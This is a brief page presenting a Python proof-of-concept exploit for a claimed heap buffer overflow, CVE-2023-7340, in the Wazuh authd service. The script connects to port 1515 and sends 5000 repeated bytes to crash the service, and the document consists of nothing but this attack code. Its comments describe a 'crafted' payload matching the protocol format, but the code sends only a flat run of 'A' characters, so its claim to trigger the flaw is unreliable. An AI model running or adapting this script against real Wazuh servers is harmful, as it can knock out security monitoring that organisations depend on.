CVE-2023-7340 Wazuh authd堆缓冲区溢出漏洞

import socket import sys # CVE-2023-7340 PoC for Wazuh authd Heap Buffer Overflow # Target: Wazuh authd service (default port 1515) # Description: Sends a large crafted payload to trigger the overflow. def exploit(host, port): try: print(f"[+] Connecting to {host}:{port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # Constructing a malicious payload # The authd protocol expects specific format, malformed input triggers overflow payload = b"A" * 5000 # Example large payload to trigger buffer overflow print("[+] Sending malicious payload...") s.send(payload) s.close() print("[+] Payload sent. Check if the service crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" target_port = 1515 exploit(target_host, target_port)